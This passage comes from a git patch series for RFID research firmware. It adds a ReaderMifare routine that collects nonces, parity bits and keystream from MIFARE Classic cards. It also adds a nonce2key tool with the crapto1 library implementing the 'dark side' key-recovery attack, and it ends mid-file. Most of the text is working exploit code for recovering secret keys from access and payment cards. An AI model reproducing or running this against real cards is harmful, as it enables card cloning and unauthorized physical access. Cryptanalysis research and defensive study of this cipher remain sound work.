The software UART that receives commands from the reader, and its state // variables. @@ -1548,7 +1554,7 @@ void ReaderTransmitShort(const BYTE* bt) TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); // Store reader command in buffer - LogTrace(bt,1,0,GetParity(bt,1),TRUE); + if (tracing) LogTrace(bt,1,0,GetParity(bt,1),TRUE); } void ReaderTransmitPar(BYTE* frame, int len, DWORD par) @@ -1558,14 +1564,13 @@ void ReaderTransmitPar(BYTE* frame, int len, DWORD par) // This is tied to other size changes // BYTE* frame_addr = ((BYTE*)BigBuf) + 2024; - CodeIso14443aAsReaderPar(frame,len,par); // Select the card TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); // Store reader command in buffer - LogTrace(frame,len,0,par,TRUE); + if (tracing) LogTrace(frame,len,0,par,TRUE); } @@ -1579,7 +1584,7 @@ BOOL ReaderReceive(BYTE* receivedAnswer) { int samples = 0; if (!GetIso14443aAnswerFromTag(receivedAnswer,100,&samples,0)) return FALSE; - LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE); + if (tracing) LogTrace(receivedAnswer,Demod.len,samples,Demod.parityBits,FALSE); return TRUE; } @@ -1692,3 +1697,157 @@ void ReaderIso14443a(DWORD parameter) DbpIntegers(rsamples, 0xCC, 0xCC); DbpString("ready.."); } + +//----------------------------------------------------------------------------- +// Read an ISO 14443a tag. Send out commands and store answers. +// +//----------------------------------------------------------------------------- +void ReaderMifare(DWORD parameter) +{ + + // Anticollision + BYTE wupa[] = { 0x52 }; + BYTE sel_all[] = { 0x93,0x20 }; + BYTE sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + + // Mifare AUTH + BYTE mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + BYTE mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + + BYTE* receivedAnswer = (((BYTE *)BigBuf) + 3560); // was 3560 - tied to other size changes + traceLen = 0; + tracing = false; + + // Setup SSC + FpgaSetupSsc(); + + // Start from off (no field generated) + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(); + + // Now give it time to spin up. + // Signal field is on with the appropriate LED + LED_D_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + SpinDelay(200); + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitShort(wupa); + // Receive the ATQA + ReaderReceive(receivedAnswer); + // Transmit SELECT_ALL + ReaderTransmit(sel_all,sizeof(sel_all)); + // Receive the UID + ReaderReceive(receivedAnswer); + // Construct SELECT UID command + // First copy the 5 bytes (Mifare Classic) after the 93 70 + memcpy(sel_uid+2,receivedAnswer,5); + // Secondly compute the two CRC bytes at the end + AppendCrc14443a(sel_uid,7); + + byte_t nt_diff = 0; + LED_A_OFF(); + byte_t par = 0; + byte_t par_mask = 0xff; + byte_t par_low = 0; + BOOL led_on = TRUE; + + tracing = FALSE; + byte_t nt[4]; + byte_t nt_attacked[4]; + byte_t par_list[8]; + byte_t ks_list[8]; + num_to_bytes(parameter,4,nt_attacked); + + while(TRUE) + { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitShort(wupa); + + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + + // Receive the ATQA + if (!ReaderReceive(receivedAnswer)) continue; + + // Transmit SELECT_ALL + ReaderTransmit(sel_all,sizeof(sel_all)); + + // Receive the UID + if (!ReaderReceive(receivedAnswer)) continue; + + // Transmit SELECT_UID + ReaderTransmit(sel_uid,sizeof(sel_uid)); + + // Receive the SAK + if (!ReaderReceive(receivedAnswer)) continue; + + // Transmit MIFARE_CLASSIC_AUTH + ReaderTransmit(mf_auth,sizeof(mf_auth)); + + // Receive the (16 bit) "random" nonce + if (!ReaderReceive(receivedAnswer)) continue; + memcpy(nt,receivedAnswer,4); + + // Transmit reader nonce and reader answer + ReaderTransmitPar(mf_nr_ar,sizeof(mf_nr_ar),par); + + // Receive 4 bit answer + if (ReaderReceive(receivedAnswer)) + { + if (nt_diff == 0) + { + LED_A_ON(); + memcpy(nt_attacked,nt,4); + par_mask = 0xf8; + par_low = par & 0x07; + } + + if (memcmp(nt,nt_attacked,4) != 0) continue; + + led_on = !led_on; + if(led_on) LED_B_ON(); else LED_B_OFF(); + par_list[nt_diff] = par; + ks_list[nt_diff] = receivedAnswer[0]^0x05; + + // Test if the information is complete + if (nt_diff == 0x07) break; + + nt_diff = (nt_diff+1) & 0x07; + mf_nr_ar[3] = nt_diff << 5; + par = par_low; + } else { + if (nt_diff == 0) + { + par++; + } else { + par = (((par>>3)+1) << 3) | par_low; + } + } + } + + LogTraceInfo(sel_uid+2,4); + LogTraceInfo(nt,4); + LogTraceInfo(par_list,8); + LogTraceInfo(ks_list,8); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; +} diff --git a/armsrc/util.c b/armsrc/util.c index 3cad25f4..e6332a7b 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -64,6 +64,24 @@ char* strncat(char *dest, const char *src, unsigned int n) return dest; } +void num_to_bytes(uint64_t n, size_t len, byte_t* dest) +{ + while (len--) { + dest[len] = (byte_t) n; + n >>= 8; + } +} + +uint64_t bytes_to_num(byte_t* src, size_t len) +{ + uint64_t num = 0; + while (len--) + { + num = (num << 8) | (*src); + src++; + } + return num; +} void LEDsoff() { -- 2.39.5 From 93f57590455b1c57ff09119b1de407ccd1d7ed62 Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Wed, 30 Dec 2009 00:12:17 +0000 Subject: [PATCH 12/16] mifare tools update --- tools/nonce2key/Makefile | 22 ++ tools/nonce2key/crapto1.c | 494 ++++++++++++++++++++++++++++++++++++ tools/nonce2key/crapto1.h | 94 +++++++ tools/nonce2key/crypto1.c | 93 +++++++ tools/nonce2key/nonce2key.c | 57 +++++ 5 files changed, 760 insertions(+) create mode 100644 tools/nonce2key/Makefile create mode 100644 tools/nonce2key/crapto1.c create mode 100644 tools/nonce2key/crapto1.h create mode 100644 tools/nonce2key/crypto1.c create mode 100644 tools/nonce2key/nonce2key.c diff --git a/tools/nonce2key/Makefile b/tools/nonce2key/Makefile new file mode 100644 index 00000000..54abf80e --- /dev/null +++ b/tools/nonce2key/Makefile @@ -0,0 +1,22 @@ +CC = gcc +LD = gcc +CFLAGS = -Wall -O4 -c +LDFLAGS = + +OBJS = crypto1.o crapto1.o +HEADERS = crapto1.h +EXES = nonce2key + +all: $(OBJS) $(EXES) + +%.o : %.c + $(CC) $(CFLAGS) -o $@ $< + +% : %.c + $(LD) $(LDFLAGS) -o $@ $(OBJS) $< + +crypto1test: libnfc $(OBJS) + $(LD) $(LDFLAGS) -o crypto1test crypto1test.c $(OBJS) + +clean: + rm -f $(OBJS) $(EXES) diff --git a/tools/nonce2key/crapto1.c b/tools/nonce2key/crapto1.c new file mode 100644 index 00000000..c0a158b5 --- /dev/null +++ b/tools/nonce2key/crapto1.c @@ -0,0 +1,494 @@ +/* crapto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#if !defined LOWMEM && defined __GNUC__ +static uint8_t filterlut[1 << 20]; +static void __attribute__((constructor)) fill_lut() +{ + uint32_t i; + for(i = 0; i < 1 << 20; ++i) + filterlut[i] = filter(i); +} +#define filter(x) (filterlut[(x) & 0xfffff]) +#endif + +static void quicksort(uint32_t* const start, uint32_t* const stop) +{ + uint32_t *it = start + 1, *rit = stop; + + if(it > rit) + return; + + while(it < rit) + if(*it <= *start) + ++it; + else if(*rit > *start) + --rit; + else + *it ^= (*it ^= *rit, *rit ^= *it); + + if(*rit >= *start) + --rit; + if(rit != start) + *rit ^= (*rit ^= *start, *start ^= *rit); + + quicksort(start, rit - 1); + quicksort(rit + 1, stop); +} +/** binsearch + * Binary search for the first occurence of *stop's MSB in sorted [start,stop] + */ +static inline uint32_t* +binsearch(uint32_t *start, uint32_t *stop) +{ + uint32_t mid, val = *stop & 0xff000000; + while(start != stop) + if(start[mid = (stop - start) >> 1] > val) + stop = &start[mid]; + else + start += mid + 1; + + return start; +} + +/** update_contribution + * helper, calculates the partial linear feedback contributions and puts in MSB + */ +static inline void +update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) +{ + uint32_t p = *item >> 25; + + p = p << 1 | parity(*item & mask1); + p = p << 1 | parity(*item & mask2); + *item = p << 24 | (*item & 0xffffff); +} + +/** extend_table + * using a bit of the keystream extend the table of possible lfsr states + */ +static inline void +extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) +{ + in <<= 24; + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else if(filter(*tbl) == bit) { + *++*end = tbl[1]; + tbl[1] = tbl[0] | 1; + update_contribution(tbl, m1, m2); + *tbl++ ^= in; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else + *tbl-- = *(*end)--; +} +/** extend_table_simple + * using a bit of the keystream extend the table of possible lfsr states + */ +static inline void +extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) +{ + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + } else if(filter(*tbl) == bit) { + *++*end = *++tbl; + *tbl = tbl[-1] | 1; + } else + *tbl-- = *(*end)--; +} +/** recover + * recursively narrow down the search space, 4 bits of keystream at a time + */ +static struct Crypto1State* +recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, + uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, + struct Crypto1State *sl, uint32_t in) +{ + uint32_t *o, *e, i; + + if(rem == -1) { + for(e = e_head; e <= e_tail; ++e) { + *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); + for(o = o_head; o <= o_tail; ++o, ++sl) { + sl->even = *o; + sl->odd = *e ^ parity(*o & LF_POLY_ODD); + sl[1].odd = sl[1].even = 0; + } + } + return sl; + } + + for(i = 0; i < 4 && rem--; i++) { + extend_table(o_head, &o_tail, (oks >>= 1) & 1, + LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); + if(o_head > o_tail) + return sl; + + extend_table(e_head, &e_tail, (eks >>= 1) & 1, + LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); + if(e_head > e_tail) + return sl; + } + + quicksort(o_head, o_tail); + quicksort(e_head, e_tail); + + while(o_tail >= o_head && e_tail >= e_head) + if(((*o_tail ^ *e_tail) >> 24) == 0) { + o_tail = binsearch(o_head, o = o_tail); + e_tail = binsearch(e_head, e = e_tail); + sl = recover(o_tail--, o, oks, + e_tail--, e, eks, rem, sl, in); + } + else if(*o_tail > *e_tail) + o_tail = binsearch(o_head, o_tail) - 1; + else + e_tail = binsearch(e_head, e_tail) - 1; + + return sl; +} +/** lfsr_recovery + * recover the state of the lfsr given 32 bits of the keystream + * additionally you can use the in parameter to specify the value + * that was fed into the lfsr at the time the keystream was generated + */ +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) +{ + struct Crypto1State *statelist; + uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; + uint32_t *even_head = 0, *even_tail = 0, eks = 0; + int i; + + for(i = 31; i >= 0; i -= 2) + oks = oks << 1 | BEBIT(ks2, i); + for(i = 30; i >= 0; i -= 2) + eks = eks << 1 | BEBIT(ks2, i); + + odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); + even_head = even_tail = malloc(sizeof(uint32_t) << 21); + statelist = malloc(sizeof(struct Crypto1State) << 18); + if(!odd_tail-- || !even_tail-- || !statelist) + goto out; + + statelist->odd = statelist->even = 0; + + for(i = 1 << 20; i >= 0; --i) { + if(filter(i) == (oks & 1)) + *++odd_tail = i; + if(filter(i) == (eks & 1)) + *++even_tail = i; + } + + for(i = 0; i < 4; i++) { + extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); + extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); + } + + in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); + recover(odd_head, odd_tail, oks, + even_head, even_tail, eks, 11, statelist, in << 1); + +out: + free(odd_head); + free(even_head); + return statelist; +} + +static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, + 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, + 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA}; +static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, + 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, + 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, + 0x7EC7EE90, 0x7F63F748, 0x79117020}; +static const uint32_t T1[] = { + 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, + 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, + 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, + 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C}; +static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, + 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, + 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, + 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, + 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, + 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0}; +static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; +static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; +/** Reverse 64 bits of keystream into possible cipher states + * Variation mentioned in the paper. Somewhat optimized version + */ +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3) +{ + struct Crypto1State *statelist, *sl; + uint8_t oks[32], eks[32], hi[32]; + uint32_t low = 0, win = 0; + uint32_t *tail, table[1 << 16]; + int i, j; + + sl = statelist = malloc(sizeof(struct Crypto1State) << 4); + if(!sl) + return 0; + sl->odd = sl->even = 0; + + for(i = 30; i >= 0; i -= 2) { + oks[i >> 1] = BIT(ks2, i ^ 24); + oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + for(i = 31; i >= 0; i -= 2) { + eks[i >> 1] = BIT(ks2, i ^ 24); + eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + + for(i = 0xfffff; i >= 0; --i) { + if (filter(i) != oks[0]) + continue; + + *(tail = table) = i; + for(j = 1; tail >= table && j < 29; ++j) + extend_table_simple(table, &tail, oks[j]); + + if(tail < table) + continue; + + for(j = 0; j < 19; ++j) + low = low << 1 | parity(i & S1[j]); + for(j = 0; j < 32; ++j) + hi[j] = parity(i & T1[j]); + + for(; tail >= table; --tail) { + for(j = 0; j < 3; ++j) { + *tail = *tail << 1; + *tail |= parity((i & C1[j]) ^ (*tail & C2[j])); + if(filter(*tail) != oks[29 + j]) + goto continue2; + } + + for(j = 0; j < 19; ++j) + win = win << 1 | parity(*tail & S2[j]); + + win ^= low; + for(j = 0; j < 32; ++j) { + win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); + if(filter(win) != eks[j]) + goto continue2; + } + + *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); + sl->odd = *tail ^ parity(LF_POLY_ODD & win); + sl->even = win; + ++sl; + sl->odd = sl->even = 0; + continue2:; + } + } + return statelist; +} + +/** lfsr_rollback_bit + * Rollback the shift register in order to get previous states + */ +void lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) +{ + int out; + + s->odd &= 0xffffff; + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + out = s->even & 1; + out ^= LF_POLY_EVEN & (s->even >>= 1); + out ^= LF_POLY_ODD & s->odd; + out ^= !!in; + out ^= filter(s->odd) & !!fb; + + s->even |= parity(out) << 23; +} +/** lfsr_rollback_byte + * Rollback the shift register in order to get previous states + */ +void lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + for (i = 7; i >= 0; --i) + lfsr_rollback_bit(s, BEBIT(in, i), fb); +} +/** lfsr_rollback_word + * Rollback the shift register in order to get previous states + */ +void lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + for (i = 31; i >= 0; --i) + lfsr_rollback_bit(s, BEBIT(in, i), fb); +} + +/** nonce_distance + * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y + */ +static uint16_t *dist = 0; +int nonce_distance(uint32_t from, uint32_t to) +{ + uint16_t x, i; + if(!dist) { + dist = malloc(2 << 16); + if(!dist) + return -1; + for (x = i = 1; i; ++i) { + dist[(x & 0xff) << 8 | x >> 8] = i; + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } + } + return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; +} + + +static uint32_t fastfwd[2][8] = { + { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, + { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}}; + + +/** lfsr_prefix_ks + * + * Is an exported helper function from the common prefix attack + * Described in the "dark side" paper. It returns an -1 terminated array + * of possible partial(21 bit) secret state. + * The required keystream(ks) needs to contain the keystream that was used to + * encrypt the NACK which is observed when varying only the 4 last bits of Nr + * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3 + */ +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) +{ + uint32_t *candidates = malloc(4 << 21); + uint32_t c, entry; + int size, i; + + if(!candidates) + return 0; + + size = (1 << 21) - 1; + for(i = 0; i <= size; ++i) + candidates[i] = i; + + for(c = 0; c < 8; ++c) + for(i = 0;i <= size; ++i) { + entry = candidates[i] ^ fastfwd[isodd][c]; + + if(filter(entry >> 1) == BIT(ks[c], isodd)) + if(filter(entry) == BIT(ks[c], isodd + 2)) + continue; + + candidates[i--] = candidates[size--]; + } + + candidates[size + 1] = -1; + + return candidates; +} + +/** brute_top + * helper function which eliminates possible secret states using parity bits + */ +static struct Crypto1State* +brute_top(uint32_t prefix, uint32_t rresp, unsigned char parities[8][8], + uint32_t odd, uint32_t even, struct Crypto1State* sl) +{ + struct Crypto1State s; + uint32_t ks1, nr, ks2, rr, ks3, good, c; + + for(c = 0; c < 8; ++c) { + s.odd = odd ^ fastfwd[1][c]; + s.even = even ^ fastfwd[0][c]; + + lfsr_rollback_bit(&s, 0, 0); + lfsr_rollback_bit(&s, 0, 0); + lfsr_rollback_bit(&s, 0, 0); + + lfsr_rollback_word(&s, 0, 0); + lfsr_rollback_word(&s, prefix | c << 5, 1); + + sl->odd = s.odd; + sl->even = s.even; + + ks1 = crypto1_word(&s, prefix | c << 5, 1); + ks2 = crypto1_word(&s,0,0); + ks3 = crypto1_word(&s, 0,0); + nr = ks1 ^ (prefix | c << 5); + rr = ks2 ^ rresp; + + good = 1; + good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); + good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); + good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); + good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); + good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ BIT(ks3, 24); + + if(!good) + return sl; + } + + return ++sl; +} + + +/** lfsr_common_prefix + * Implentation of the common prefix attack. + * Requires the 28 bit constant prefix used as reader nonce (pfx) + * The reader response used (rr) + * The keystream used to encrypt the observed NACK's (ks) + * The parity bits (par) + * It returns a zero terminated list of possible cipher states after the + * tag nonce was fed in + */ +struct Crypto1State* +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) +{ + struct Crypto1State *statelist, *s; + uint32_t *odd, *even, *o, *e, top; + + odd = lfsr_prefix_ks(ks, 1); + even = lfsr_prefix_ks(ks, 0); + + statelist = malloc((sizeof *statelist) << 20); + if(!statelist || !odd || !even) + return 0; + + + s = statelist; + for(o = odd; *o != 0xffffffff; ++o) + for(e = even; *e != 0xffffffff; ++e) + for(top = 0; top < 64; ++top) { + *o = (*o & 0x1fffff) | (top << 21); + *e = (*e & 0x1fffff) | (top >> 3) << 21; + s = brute_top(pfx, rr, par, *o, *e, s); + } + + s->odd = s->even = 0; + + free(odd); + free(even); + + return statelist; +} diff --git a/tools/nonce2key/crapto1.h b/tools/nonce2key/crapto1.h new file mode 100644 index 00000000..3b2cf173 --- /dev/null +++ b/tools/nonce2key/crapto1.h @@ -0,0 +1,94 @@ +/* crapto1.h + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#ifndef CRAPTO1_INCLUDED +#define CRAPTO1_INCLUDED +#include +#ifdef __cplusplus +extern "C" { +#endif + +struct Crypto1State {uint32_t odd, even;}; +struct Crypto1State* crypto1_create(uint64_t); +void crypto1_destroy(struct Crypto1State*); +void crypto1_get_lfsr(struct Crypto1State*, uint64_t*); +uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int); +uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int); +uint32_t crypto1_word(struct Crypto1State*, uint32_t, int); +uint32_t prng_successor(uint32_t x, uint32_t n); + +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in); +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3); +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd); +struct Crypto1State* +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); + + +void lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb); +void lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb); +void lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); +int nonce_distance(uint32_t from, uint32_t to); +#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ + uint32_t __n = 0,__M = 0, N = 0;\ + int __i;\ + for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ + for(__i = FSIZE - 1; __i >= 0; __i--)\ + if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ + break;\ + else if(__i)\ + __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ + else + +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) +#define BIT(x, n) ((x) >> (n) & 1) +#define BEBIT(x, n) BIT(x, (n) ^ 24) +static inline int parity(uint32_t x) +{ +#if !defined __i386__ || !defined __GNUC__ + x ^= x >> 16; + x ^= x >> 8; + x ^= x >> 4; + return BIT(0x6996, x & 0xf); +#else + asm( "movl %1, %%eax\n" + "mov %%ax, %%cx\n" + "shrl $0x10, %%eax\n" + "xor %%ax, %%cx\n" + "xor %%ch, %%cl\n" + "setpo %%al\n" + "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx"); + return x; +#endif +} +static inline int filter(uint32_t const x) +{ + uint32_t f; + + f = 0xf22c0 >> (x & 0xf) & 16; + f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; + f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; + f |= 0x1e458 >> (x >> 12 & 0xf) & 2; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); +} +#ifdef __cplusplus +} +#endif +#endif diff --git a/tools/nonce2key/crypto1.c b/tools/nonce2key/crypto1.c new file mode 100644 index 00000000..fbf88898 --- /dev/null +++ b/tools/nonce2key/crypto1.c @@ -0,0 +1,93 @@ +/* crypto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#define SWAPENDIAN(x)\ + (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) + +struct Crypto1State * crypto1_create(uint64_t key) +{ + struct Crypto1State *s = malloc(sizeof(*s)); + int i; + + for(i = 47;s && i > 0; i -= 2) { + s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); + s->even = s->even << 1 | BIT(key, i ^ 7); + } + return s; +} +void crypto1_destroy(struct Crypto1State *state) +{ + free(state); +} +void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) +{ + int i; + for(*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } +} +uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint32_t feedin; + uint8_t ret = filter(s->odd); + + feedin = ret & !!is_encrypted; + feedin ^= !!in; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= LF_POLY_EVEN & s->even; + s->even = s->even << 1 | parity(feedin); + + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + return ret; +} +uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint8_t i, ret = 0; + + for (i = 0; i < 8; ++i) + ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; + + return ret; +} +uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) +{ + uint32_t i, ret = 0; + + for (i = 0; i < 4; ++i, in <<= 8) + ret = ret << 8 | crypto1_byte(s, in >> 24, is_encrypted); + + return ret; +} + +/* prng_successor + * helper used to obscure the keystream during authentication + */ +uint32_t prng_successor(uint32_t x, uint32_t n) +{ + SWAPENDIAN(x); + while(n--) + x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + + return SWAPENDIAN(x); +} diff --git a/tools/nonce2key/nonce2key.c b/tools/nonce2key/nonce2key.c new file mode 100644 index 00000000..afe1b7ef --- /dev/null +++ b/tools/nonce2key/nonce2key.c @@ -0,0 +1,57 @@ +#include "crapto1.h" +#include +#include +typedef unsigned char byte_t; + +int main(const int argc, const char* argv[]) { + struct Crypto1State *state; + uint32_t pos, uid, nt, nr, rr, nr_diff, ks1, ks2; + byte_t bt, i, ks3x[8], par[8][8]; + uint64_t key, key_recovered; + uint64_t par_info; + uint64_t ks_info; + nr = rr = 0; + + if (argc < 5) { + printf("\nsyntax: %s \n\n",argv[0]); + return 1; + } + sscanf(argv[1],"%08x",&uid); + sscanf(argv[2],"%08x",&nt); + sscanf(argv[3],"%016llx",&par_info); + sscanf(argv[4],"%016llx",&ks_info); + + // Reset the last three significant bits of the reader nonce + nr &= 0xffffff1f; + + printf("\nuid(%08x) nt(%08x) par(%016llx) ks(%016llx)\n\n",uid,nt,par_info,ks_info); + + for (pos=0; pos<8; pos++) + { + ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; + bt = (par_info >> (pos*8)) & 0xff; + for (i=0; i<8; i++) + { + par[7-pos][i] = (bt >> i) & 0x01; + } + } + + printf("|diff|{nr} |ks3|ks3^5|parity |\n"); + printf("+----+--------+---+-----+---------------+\n"); + for (i=0; i<8; i++) + { + nr_diff = nr | i << 5; + printf("| %02x |%08x|",i << 5, nr_diff); + printf(" %01x | %01x 